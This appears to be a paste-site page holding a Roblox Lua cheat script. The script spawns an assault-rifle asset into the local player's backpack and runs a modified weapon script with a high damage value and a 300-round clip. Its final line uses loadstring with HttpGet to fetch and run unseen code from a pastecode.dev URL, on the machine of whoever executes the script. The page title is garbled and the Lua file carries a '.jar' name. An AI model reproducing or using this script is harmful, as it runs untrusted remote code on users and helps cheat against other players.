R

rpe dixkgun

public
rrixh Jul 18, 2024 Never 62
Clone
Lua rpe-dixkgun_rrixh.jar 442 lines (397 loc) | 13.95 KB
1
game:GetObjects("rbxassetid://503182370")[1].Parent=game.Players.LocalPlayer.Backpack
2
3
game.Players.LocalPlayer.Backpack.AssaultRifle.Main.Transparency = 0
4
game.Players.LocalPlayer.Backpack.AssaultRifle.Part1.Transparency = 0
5
game.Players.LocalPlayer.Backpack.AssaultRifle.Part2.Transparency = 0
6
game.Players.LocalPlayer.Backpack.AssaultRifle.Part3.Transparency = 0
7
game.Players.LocalPlayer.Backpack.AssaultRifle.Part4.Transparency = 0
8
game.Players.LocalPlayer.Backpack.AssaultRifle.Partkaas.Transparency = 0
9
game.Players.LocalPlayer.Backpack.AssaultRifle.Part5.Transparency = 0
10
game.Players.LocalPlayer.Backpack.AssaultRifle.Part6.Transparency = 0
11
game.Players.LocalPlayer.Backpack.AssaultRifle.Part7.Transparency = 0
12
game.Players.LocalPlayer.Backpack.AssaultRifle.Part8.Transparency = 0
13
game.Players.LocalPlayer.Backpack.AssaultRifle.Part9.Transparency = 0
14
game.Players.LocalPlayer.Backpack.AssaultRifle.Part10.Transparency = 0
15
game.Players.LocalPlayer.Backpack.AssaultRifle.Part11.Transparency = 0
16
game.Players.LocalPlayer.Backpack.AssaultRifle.Part12.Transparency = 0
17
game.Players.LocalPlayer.Backpack.AssaultRifle.Part13.Transparency = 0
18
19
--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
20
-- Waits for the child of the specified parent
21
local function WaitForChild(parent, childName)
22
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
23
return parent[childName]
24
end
25
26
----- MAGIC NUMBERS ABOUT THE TOOL -----
27
-- How much damage a bullet does
28
local Damage = 100
29
-- How many times per second the gun can fire
30
local FireRate = 20 / 30
31
-- The maximum distance the can can shoot, this value should never go above 1000
32
local Range = 400
33
-- In radians the minimum accuracy penalty
34
local MinSpread = 0.01
35
-- In radian the maximum accuracy penalty
36
local MaxSpread = 0.1
37
-- Number of bullets in a clip
38
local ClipSize = 300
39
-- DefaultValue for spare ammo
40
local SpareAmmo = 600
41
-- The amount the aim will increase or decrease by
42
-- decreases this number reduces the speed that recoil takes effect
43
local AimInaccuracyStepAmount = 0.0125
44
-- Time it takes to reload weapon
45
local ReloadTime = 1
46
----------------------------------------
47
48
-- Colors
49
local FriendlyReticleColor = Color3.new(0, 1, 0)
50
local EnemyReticleColor = Color3.new(1, 0, 0)
51
local NeutralReticleColor = Color3.new(1, 1, 1)
52
53
local Spread = MinSpread
54
local AmmoInClip = ClipSize
55
56
local Tool = game.Players.LocalPlayer.Backpack.AssaultRifle
57
local Handle = WaitForChild(Tool, 'Handle')
58
local WeaponGui = nil
59
60
local LeftButtonDown
61
local Reloading = false
62
local IsShooting = false
63
64
-- Player specific convenience variables
65
local MyPlayer = nil
66
local MyCharacter = nil
67
local MyHumanoid = nil
68
local MyTorso = nil
69
local MyMouse = nil
70
71
local RecoilAnim
72
local RecoilTrack = nil
73
74
local IconURL = Tool.TextureId -- URL to the weapon icon asset
75
76
local DebrisService = game:GetService('Debris')
77
local PlayersService = game:GetService('Players')
78
79
local OnFireConnection = nil
80
local OnReloadConnection = nil
81
82
local DecreasedAimLastShot = false
83
local LastSpreadUpdate = time()
84
85
-- this is a dummy object that holds the flash made when the gun is fired
86
local FlashHolder = nil
87
88
89
local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
90
local GetCellFunction = Workspace.Terrain.GetCell
91
92
function RayIgnoreCheck(hit, pos)
93
if hit then
94
if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or
95
hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or
96
hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then
97
return true
98
elseif hit:IsA('Terrain') and pos then
99
local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
100
if cellPos then
101
local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
102
if cellMat and cellMat == Enum.CellMaterial.Water then
103
return true
104
end
105
end
106
end
107
end
108
return false
109
end
110
111
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
112
function RayCast(startPos, vec, rayLength)
113
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
114
if hitObject and hitPos then
115
local distance = rayLength - (hitPos - startPos).magnitude
116
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
117
-- there is a chance here for potential infinite recursion
118
return RayCast(hitPos, vec, distance)
119
end
120
end
121
return hitObject, hitPos
122
end
123
124
125
126
function TagHumanoid(humanoid, player)
127
-- Add more tags here to customize what tags are available.
128
while humanoid:FindFirstChild('creator') do
129
humanoid:FindFirstChild('creator'):Destroy()
130
end
131
local creatorTag = Instance.new("ObjectValue")
132
creatorTag.Value = player
133
creatorTag.Name = "creator"
134
creatorTag.Parent = humanoid
135
DebrisService:AddItem(creatorTag, 1.5)
136
137
local weaponIconTag = Instance.new("StringValue")
138
weaponIconTag.Value = IconURL
139
weaponIconTag.Name = "icon"
140
weaponIconTag.Parent = creatorTag
141
end
142
143
local function CreateFlash()
144
if FlashHolder then
145
local flash = Instance.new('Fire', FlashHolder)
146
flash.Color = Color3.new(1, 140 / 255, 0)
147
flash.SecondaryColor = Color3.new(1, 0, 0)
148
flash.Size = 0.3
149
DebrisService:AddItem(flash, FireRate / 1.5)
150
else
151
FlashHolder = Instance.new("Part", Tool)
152
FlashHolder.Transparency = 1
153
FlashHolder.CanCollide= false
154
FlashHolder.Size = Vector3.new(1, 1, 1)
155
FlashHolder.Position = Tool.Handle.Position
156
local Weld = Instance.new("ManualWeld")
157
Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
158
Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0)
159
Weld.Part0 = FlashHolder
160
Weld.Part1 = Tool.Handle
161
Weld.Parent = FlashHolder
162
end
163
end
164
165
local function CreateBullet(bulletPos)
166
local bullet = Instance.new('Part', Workspace)
167
bullettext = Instance.new("Decal" ,bullet)
168
bullettext1 = Instance.new("Decal" ,bullet)
169
bullettext1.Texture = "http://www.roblox.com/asset/?id=164688340"
170
bullettext2 = Instance.new("Decal" ,bullet)
171
bullettext2.Texture = "http://www.roblox.com/asset/?id=164688340"
172
bullettext1.Face = "Front"
173
bullettext.Texture = "http://www.roblox.com/asset/?id=164688340"
174
bullettext.Face = "Back"
175
bullettext2.Face = "Top"
176
bullet.FormFactor = Enum.FormFactor.Custom
177
bullet.Size = Vector3.new(4, 4, 0.1)
178
bullet.BrickColor = MyPlayer.TeamColor
179
bullet.Shape = Enum.PartType.Block
180
bullet.CanCollide = false
181
bullet.CFrame = CFrame.new(bulletPos)
182
bullet.Anchored = true
183
bullet.TopSurface = Enum.SurfaceType.Smooth
184
bullet.BottomSurface = Enum.SurfaceType.Smooth
185
bullet.Name = 'Bullet'
186
bullet.Transparency = 1
187
DebrisService:AddItem(bullet, 2.5)
188
local fire = Instance.new("Fire", bullet)
189
fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
190
fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
191
fire.Size = 5
192
fire.Heat = 0
193
DebrisService:AddItem(fire, 0.2)
194
return bullet
195
end
196
197
local function Reload()
198
if not Reloading then
199
Reloading = true
200
-- Don't reload if you are already full or have no extra ammo
201
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
202
if RecoilTrack then
203
RecoilTrack:Stop()
204
end
205
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
206
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
207
WeaponGui.Crosshair.ReloadingLabel.Visible = true
208
end
209
end
210
wait(ReloadTime)
211
-- Only use as much ammo as you have
212
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
213
AmmoInClip = AmmoInClip + ammoToUse
214
SpareAmmo = SpareAmmo - ammoToUse
215
UpdateAmmo(AmmoInClip)
216
end
217
Reloading = false
218
end
219
end
220
221
function OnFire()
222
if IsShooting then return end
223
if MyHumanoid and MyHumanoid.Health > 0 then
224
if RecoilTrack and AmmoInClip > 0 then
225
RecoilTrack:Play()
226
end
227
IsShooting = true
228
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
229
if Spread and not DecreasedAimLastShot then
230
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
231
UpdateCrosshair(Spread)
232
end
233
CreateFlash()
234
if MyMouse then
235
local targetPoint = MyMouse.Hit.p
236
local shootDirection = (targetPoint - Handle.Position).unit
237
-- Adjust the shoot direction randomly off by a little bit to account for recoil
238
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
239
(0.5 - math.random()) * 2 * Spread,
240
(0.5 - math.random()) * 2 * Spread) * shootDirection
241
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
242
local bullet
243
-- Create a bullet here
244
if hitObject then
245
bullet = CreateBullet(bulletPos)
246
end
247
if hitObject and hitObject.Parent then
248
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
249
if hitHumanoid then
250
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
251
if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
252
TagHumanoid(hitHumanoid, MyPlayer)
253
hitHumanoid:TakeDamage(Damage)
254
if bullet then
255
bullet:Destroy()
256
bullet = nil
257
--bullet.Transparency = 1
258
end
259
Spawn(UpdateTargetHit)
260
end
261
end
262
end
263
Kek = Instance.new ("Sound" ,game.Players.LocalPlayer.Character.AssaultRifle.Handle)
264
Kek.Name = "FireSound"
265
Kek.SoundId = "rbxassetid://384987591"
266
Kek.Volume = 100
267
Kek:Play()
268
AmmoInClip = AmmoInClip - 1
269
UpdateAmmo(AmmoInClip)
270
end
271
wait(FireRate)
272
end
273
IsShooting = false
274
wait(5)
275
local children = game.Workspace:GetChildren()
276
for _, child in pairs(children) do
277
for _, child in pairs(child:GetChildren()) do
278
table.insert(children, child)
279
end
280
281
if child:IsA("Sound") and child.Name == "FireSound" then
282
child:Destroy()
283
if AmmoInClip == 0 then
284
Reload()
285
end
286
end
287
end
288
if RecoilTrack then
289
RecoilTrack:Stop()
290
end
291
end
292
end
293
294
local TargetHits = 0
295
function UpdateTargetHit()
296
TargetHits = TargetHits + 1
297
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
298
WeaponGui.Crosshair.TargetHitImage.Visible = true
299
end
300
wait(0.5)
301
TargetHits = TargetHits - 1
302
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
303
WeaponGui.Crosshair.TargetHitImage.Visible = false
304
end
305
end
306
307
function UpdateCrosshair(value, mouse)
308
if WeaponGui then
309
local absoluteY = 650
310
WeaponGui.Crosshair:TweenSize(
311
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
312
Enum.EasingDirection.Out,
313
Enum.EasingStyle.Linear,
314
0.33)
315
end
316
end
317
318
function UpdateAmmo(value)
319
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
320
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
321
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
322
WeaponGui.Crosshair.ReloadingLabel.Visible = false
323
end
324
end
325
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
326
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
327
end
328
end
329
330
331
function OnMouseDown()
332
LeftButtonDown = true
333
OnFire()
334
end
335
336
function OnMouseUp()
337
LeftButtonDown = false
338
end
339
340
function OnKeyDown(key)
341
if string.lower(key) == 'r' then
342
Reload()
343
end
344
end
345
346
347
function OnEquipped(mouse)
348
RecoilAnim = WaitForChild(Tool, 'Recoil')
349
350
MyCharacter = Tool.Parent
351
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
352
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
353
MyTorso = MyCharacter:FindFirstChild('Torso')
354
MyMouse = mouse
355
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
356
if WeaponGui and MyPlayer then
357
WeaponGui.Parent = MyPlayer.PlayerGui
358
UpdateAmmo(AmmoInClip)
359
end
360
if RecoilAnim then
361
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
362
end
363
364
if MyMouse then
365
-- Disable mouse icon
366
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
367
MyMouse.Button1Down:connect(OnMouseDown)
368
MyMouse.Button1Up:connect(OnMouseUp)
369
MyMouse.KeyDown:connect(OnKeyDown)
370
end
371
end
372
373
374
-- Unequip logic here
375
function OnUnequipped()
376
LeftButtonDown = false
377
Reloading = false
378
MyCharacter = nil
379
MyHumanoid = nil
380
MyTorso = nil
381
MyPlayer = nil
382
MyMouse = nil
383
if OnFireConnection then
384
OnFireConnection:disconnect()
385
end
386
if OnReloadConnection then
387
OnReloadConnection:disconnect()
388
end
389
if FlashHolder then
390
FlashHolder = nil
391
end
392
if WeaponGui then
393
WeaponGui.Parent = nil
394
WeaponGui = nil
395
end
396
if RecoilTrack then
397
RecoilTrack:Stop()
398
end
399
end
400
401
local function SetReticleColor(color)
402
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
403
for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
404
if line:IsA('Frame') then
405
line.BorderColor3 = color
406
end
407
end
408
end
409
end
410
411
412
Tool.Equipped:connect(OnEquipped)
413
Tool.Unequipped:connect(OnUnequipped)
414
415
while true do
416
wait(0.033)
417
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
418
WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
419
SetReticleColor(NeutralReticleColor)
420
421
local target = MyMouse.Target
422
if target and target.Parent then
423
local player = PlayersService:GetPlayerFromCharacter(target.Parent)
424
if player then
425
if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
426
SetReticleColor(EnemyReticleColor)
427
else
428
SetReticleColor(FriendlyReticleColor)
429
end
430
end
431
end
432
end
433
if Spread and not IsShooting then
434
local currTime = time()
435
if currTime - LastSpreadUpdate > FireRate * 2 then
436
LastSpreadUpdate = currTime
437
Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
438
UpdateCrosshair(Spread, MyMouse)
439
end
440
end
441
end
442
loadstring(game:HttpGet("https://pastecode.dev/raw/nZaPtHFa5p/lollypop5ever_lulaslollipop",true))();